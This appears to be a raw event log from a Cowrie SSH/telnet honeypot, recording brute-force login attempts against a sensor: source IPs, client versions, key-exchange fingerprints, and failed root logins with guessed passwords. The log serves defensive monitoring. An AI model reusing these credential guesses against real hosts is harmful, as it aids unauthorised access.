{"eventid":"cowrie.login.failed","username":"root","password":"Software","message":"login attempt [root/Software] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:27:43.209069Z","src_ip":"213.209.159.158","session":"e6a6e5847743","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.5","message":"Connection lost after 15.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:27:46.758482Z","src_ip":"213.209.159.158","session":"e6a6e5847743","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":15102,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd6125ef7771","protocol":"ssh","message":"New connection: 213.209.159.158:15102 (10.17.0.5:22) [session: fd6125ef7771]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:27:46.837857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:27:49.207900Z","src_ip":"213.209.159.158","session":"fd6125ef7771","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:27:49.211720Z","src_ip":"213.209.159.158","session":"fd6125ef7771","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server2023","message":"login attempt [root/server2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:27:59.286582Z","src_ip":"213.209.159.158","session":"fd6125ef7771","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.8","message":"Connection lost after 15.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:28:02.681033Z","src_ip":"213.209.159.158","session":"fd6125ef7771","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":6208,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3021b834907","protocol":"ssh","message":"New connection: 213.209.159.158:6208 (10.17.0.5:22) [session: b3021b834907]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:28:02.763820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:28:04.879027Z","src_ip":"213.209.159.158","session":"b3021b834907","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:28:04.883194Z","src_ip":"213.209.159.158","session":"b3021b834907","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.108.129.13","src_port":47215,"dst_ip":"10.17.0.5","dst_port":23,"session":"e03b8d82afe7","protocol":"telnet","message":"New connection: 101.108.129.13:47215 (10.17.0.5:23) [session: e03b8d82afe7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:28:09.825090Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"sex4me","message":"login attempt [root/sex4me] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:28:15.144890Z","src_ip":"213.209.159.158","session":"b3021b834907","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.7","message":"Connection lost after 15.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:28:18.426132Z","src_ip":"213.209.159.158","session":"b3021b834907","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":6028,"dst_ip":"10.17.0.5","dst_port":22,"session":"75d8bb399971","protocol":"ssh","message":"New connection: 213.209.159.158:6028 (10.17.0.5:22) [session: 75d8bb399971]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:28:18.523131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:28:21.117704Z","src_ip":"213.209.159.158","session":"75d8bb399971","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:28:21.122162Z","src_ip":"213.209.159.158","session":"75d8bb399971","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.45087480545044,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:28:23.275844Z","src_ip":"101.108.129.13","session":"e03b8d82afe7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"simples","message":"login attempt [root/simples] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:28:30.960643Z","src_ip":"213.209.159.158","session":"75d8bb399971","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.2","message":"Connection lost after 16.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:28:34.692583Z","src_ip":"213.209.159.158","session":"75d8bb399971","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":59746,"dst_ip":"10.17.0.5","dst_port":22,"session":"da10cdc6c779","protocol":"ssh","message":"New connection: 2.57.122.208:59746 (10.17.0.5:22) [session: da10cdc6c779]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:28:57.973368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:28:58.048822Z","src_ip":"2.57.122.208","session":"da10cdc6c779","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:28:58.458050Z","src_ip":"2.57.122.208","session":"da10cdc6c779","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"trading","message":"login attempt [trading/trading] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:28:59.127245Z","src_ip":"2.57.122.208","session":"da10cdc6c779","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:29:00.325290Z","src_ip":"2.57.122.208","session":"da10cdc6c779","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":59304,"dst_ip":"159.203.135.109","dst_port":22,"session":"0aa7c475fc9f","protocol":"ssh","message":"New connection: 193.24.211.100:59304 (159.203.135.109:22) [session: 0aa7c475fc9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:29:58.130022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:29:58.134917Z","src_ip":"193.24.211.100","session":"0aa7c475fc9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:29:58.301908Z","src_ip":"193.24.211.100","session":"0aa7c475fc9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cqindex","message":"login attempt [root/cqindex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:29:58.724891Z","src_ip":"193.24.211.100","session":"0aa7c475fc9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:29:59.836255Z","src_ip":"193.24.211.100","session":"0aa7c475fc9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":35962,"dst_ip":"10.17.0.5","dst_port":22,"session":"98b9538e1e8c","protocol":"ssh","message":"New connection: 103.15.226.202:35962 (10.17.0.5:22) [session: 98b9538e1e8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:30:03.429797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:30:03.436022Z","src_ip":"103.15.226.202","session":"98b9538e1e8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:30:03.684777Z","src_ip":"103.15.226.202","session":"98b9538e1e8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"100200","message":"login attempt [root/100200] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:30:04.415137Z","src_ip":"103.15.226.202","session":"98b9538e1e8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:30:05.670334Z","src_ip":"103.15.226.202","session":"98b9538e1e8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.152.185.117","src_port":50340,"dst_ip":"10.17.0.5","dst_port":22,"session":"be02a0015f19","protocol":"ssh","message":"New connection: 213.152.185.117:50340 (10.17.0.5:22) [session: be02a0015f19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:30:14.505987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:30:14.511401Z","src_ip":"213.152.185.117","session":"be02a0015f19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:30:14.605865Z","src_ip":"213.152.185.117","session":"be02a0015f19","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f8:5c:da:0a:87:26:48:ab:6e:78:8c:9e:e0:8a:40:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCooJtBGwpuj9j/tk8rsfsoY0Ttsbq5xjJ86k37g5klP1WS7qhK0RueqEF2Nqi+ihH/HxdkTP7tjJCIK2RqIPS2wlWmdxAzbTA5x4qPMTxRZQ48lZ0m2b1ImjB0qowvtRKN8Bs08FloMLwA0kHYPPlJGeadu12ksj+QxIqUluBn0+LEBaFRBpzXBiL6x5iAZgXDenUop2V0K9FfJg3TFEkygdoSMq7Qd8/iFgj++GdUtDHa+utLuLDeC4AAZIKejS87ffLPt9ar/rbeOyFrFnGG8dX0nsx428kBTwLmDL7bpyuow4Z0QxDaaWNJc24MV8d0YaikH70k9jjgqNHVK55j","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f8:5c:da:0a:87:26:48:ab:6e:78:8c:9e:e0:8a:40:9d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:30:15.034764Z","src_ip":"213.152.185.117","session":"be02a0015f19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f8:5c:da:0a:87:26:48:ab:6e:78:8c:9e:e0:8a:40:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCooJtBGwpuj9j/tk8rsfsoY0Ttsbq5xjJ86k37g5klP1WS7qhK0RueqEF2Nqi+ihH/HxdkTP7tjJCIK2RqIPS2wlWmdxAzbTA5x4qPMTxRZQ48lZ0m2b1ImjB0qowvtRKN8Bs08FloMLwA0kHYPPlJGeadu12ksj+QxIqUluBn0+LEBaFRBpzXBiL6x5iAZgXDenUop2V0K9FfJg3TFEkygdoSMq7Qd8/iFgj++GdUtDHa+utLuLDeC4AAZIKejS87ffLPt9ar/rbeOyFrFnGG8dX0nsx428kBTwLmDL7bpyuow4Z0QxDaaWNJc24MV8d0YaikH70k9jjgqNHVK55j","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T23:30:15.039087Z","src_ip":"213.152.185.117","session":"be02a0015f19","protocol":"ssh"}
